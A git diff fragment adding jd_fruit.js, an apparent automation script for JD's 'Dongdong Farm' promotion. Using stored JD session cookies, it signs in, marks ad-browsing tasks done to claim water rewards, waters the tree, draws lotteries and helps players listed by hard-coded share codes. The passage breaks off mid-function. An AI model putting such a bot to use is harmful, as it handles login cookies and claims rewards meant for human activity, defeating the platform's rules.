i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_fruit.js b/jd_fruit.js new file mode 100644 index 0000000..8630ee4 --- /dev/null +++ b/jd_fruit.js @@ -0,0 +1,1429 @@ +/* +东东水果:脚本更新地址 jd_fruit.js +更新时间:2021-5-18 +活动入口:京东APP我的-更多工具-东东农场 +东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 +==========================Quantumultx========================= +[task_local] +#jd免费水果 +5 6-18/6 * * * jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "5 6-18/6 * * *" script-path=jd_fruit.js,tag=东东农场 + +=========================Surge============================ +东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit.js + +=========================小火箭=========================== +东东农场 = type=cron,script-path=jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + +jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js +*/ +const $ = new Env('东东农场'); +let cookiesArr = [], cookie = '', jdFruitShareArr = [], isBox = false, notify, newShareCodes, allMessage = ''; +//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [ // 这个列表填入你要助力的好友的shareCode + //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + '0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3@6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6@56db8e7bc5874668ba7d5195230d067a@b9d287c974cc498d94112f1b064cf934@23b49f5a106b4d61b2ea505d5a4e1056@8107cad4b82847a698ca7d7de9115f36', + //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'b1638a774d054a05a30a17d3b4d364b8@f92cb56c6a1349f5a35f0372aa041ea0@9c52670d52ad4e1a812f894563c746ea@8175509d82504e96828afc8b1bbb9cb3@2673c3777d4443829b2a635059953a28@d2d5d435675544679413cb9145577e0f', +] +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = 100;//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +let randomCount = $.isNode() ? 20 : 5; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + // option['media-url'] = $.farmInfo.farmUserPro.goodsImage; + message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + await doTenWaterAgain();//再次浇水 + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify($.farmInfo)}`); + message = `【数据异常】请手动登录京东app查看此账号${$.name}是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if (!$.farmTask.gotBrowseTaskAdInit.f) { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } else { + console.log(`今天已经做过浏览广告任务\n`); + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + // await Promise.all([ + // clockInIn(),//打卡领水 + // executeWaterRains(),//水滴雨 + // masterHelpShare(),//助力好友 + // getExtraAward(),//领取额外水滴奖励 + // turntableFarm()//天天抽奖得好礼 + // ]) + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await turntableFarm()//天天抽奖得好礼 +} +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} +//浇水十次 +async function doTenWater() { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward();//领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } +} +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁': fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁': doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + if (totalEnergy >= 100 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + return + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + } + } + // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { + // //使用快速浇水卡 + // await userMyCardForFarm('fastCard'); + // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); + // if ($.userMyCardRes.code === '0') { + // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); + // } + // await initForFarm(); + // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + // } + // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let {timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos} = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60*60*timingIntervalHours*1000)}`) + if (sysTime > (timingLastSysTime + 60*60*timingIntervalHours*1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} +//领取额外奖励水滴 +async function getExtraAward() { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + 